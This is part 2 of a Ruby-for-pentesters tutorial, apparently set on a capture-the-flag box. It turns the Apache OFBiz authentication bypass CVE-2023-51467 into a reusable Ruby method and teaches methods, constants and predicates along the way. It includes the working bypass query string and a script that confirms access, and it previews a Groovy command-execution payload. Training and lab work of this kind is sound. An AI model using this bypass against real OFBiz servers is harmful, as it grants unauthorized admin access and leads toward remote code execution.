// Ruby for Pentesters · Part 2

Walking past the login

OFBiz has an authentication bypass (CVE-2023-51467). We turn that into a reusable Ruby method, learn how functions and constants work, and confirm we're past the login gate.

RubyCVE-2023-51467Auth BypassMethods
5 min read

In Part 1 we fingerprinted the box as Apache OFBiz. That matters because OFBiz has a widely-known authentication bypass, CVE-2023-51467. This part turns that bypass into a tidy Ruby method — and along the way you’ll learn how to package code into reusable functions instead of one long script.

The bug, in one line

OFBiz gates its admin tooling under /webtools/control/<screen>. The bypass is almost silly: append ?USERNAME=&PASSWORD=&requirePasswordChange=Y to any of those URLs. Empty credentials plus the “must change password” flag land the request in a state where OFBiz skips the auth check instead of failing it. It’s not tied to one endpoint — it works on every screen behind the gate.

The cleanest way to prove we’re through is the ping screen, which only answers PONG to an authenticated caller.

Don’t repeat yourself: a method

In Part 1 we wrote the whole request inline. We’re going to make many requests now, so let’s package it once. A method (Ruby’s word for a function) is defined with def:

def get(path)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  http.get(uri.request_uri)
end
  • def get(path) starts a method named get that takes one parameter, path. Everything until the matching end is its body.
  • A method returns its last expression automatically — no return keyword needed. Here the last line is http.get(...), so calling get('/x') hands back the response object.
  • uri.request_uri is the path plus query string (e.g. /ping?USERNAME=...), which is exactly what Net::HTTP#get wants.

Constants for the fixed bits

The base URL and the bypass string never change, so pull them out as constants — names that start with a capital letter:

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

Ruby treats any identifier starting with an uppercase letter as a constant. They read well in interpolation ("#{BASE}#{path}") and signal “this is config, not a throwaway variable.”

Putting it together

#!/usr/bin/env ruby
require 'net/http'
require 'uri'

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

def get(path)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  http.get(uri.request_uri)
end

response = get("/webtools/control/ping?#{BYPASS}")

if response.body.include?('PONG')
  puts '[+] Auth bypass works — we are past the login gate'
else
  puts '[-] No PONG; the bypass did not take'
end

Run it:

$ ruby bypass.rb
[+] Auth bypass works — we are past the login gate

PONG came back. On an unpatched OFBiz, that response is supposed to require a login — getting it with empty credentials is the whole vulnerability. We now have an authenticated view of the web-tools context without ever knowing a password.

A method that answers yes or no

That if/else mixes two jobs: deciding whether we’re through and printing about it. Split the decision into its own method. By convention, a Ruby method that returns true/false is named with a trailing ? — a predicate:

def bypassed?
  res = get("/webtools/control/ping?#{BYPASS}")
  res.code == '200' && res.body.include?('PONG')
end

puts bypassed? ? '[+] past the login gate' : '[-] bypass did not take'

There’s a lot of idiomatic Ruby packed in here:

  • The ? is a real part of the method name — Ruby allows it, and it signals “I answer a yes/no question.” You’ll see it on built-ins too: include?, nil?, empty?.
  • res.code is the HTTP status as a string ('200'), so we compare it with ==. && is boolean and; the method returns that whole expression, since a method returns its last line.
  • bypassed? ? a : b is the ternarycondition ? if_true : if_false — a compact if/else that produces a value. (Yes, the first ? belongs to the method name and the second is the ternary; Ruby reads it fine.)

Now “are we in?” is one reusable, self-describing call instead of a wall of request-and-check code.

Why the method matters

Notice what we bought by writing get: from here on, hitting any screen is a one-liner — get("/webtools/control/whatever?#{BYPASS}"). In the next part we add a second method for POST requests and use the exact same pattern to reach a screen that runs code. Small, named methods are how a throwaway script grows into a real tool without turning into spaghetti.

Takeaways

  • Methods (def name(args) ... end) package reusable behavior; a method returns its last expression automatically.
  • Constants (capitalized names) hold the fixed configuration and read cleanly inside "#{...}" interpolation.
  • A method named with a trailing ? is a predicate that returns a boolean; && combines conditions and cond ? a : b (the ternary) picks a value.
  • CVE-2023-51467 is an auth bypass: ?USERNAME=&PASSWORD=&requirePasswordChange=Y on any /webtools/control/ screen skips the login check. ping returning PONG proves you’re through.

Exercises

  1. Extract a screen(name) method that returns "/webtools/control/#{name}?#{BYPASS}", and rewrite the ping request to call it. One method, every screen.
  2. Give bypassed? a default parameterdef bypassed?(screen = 'ping') — so you can probe any screen by name and it still defaults to ping.
  3. Add the opposite predicate, patched?, that returns !bypassed?. Naming the negation often reads better at the call site than a bare !.

Next — Part 3: we point that same bypass at OFBiz’s ProgramExport screen, POST a Groovy payload, and get our first command execution on the box.

← All parts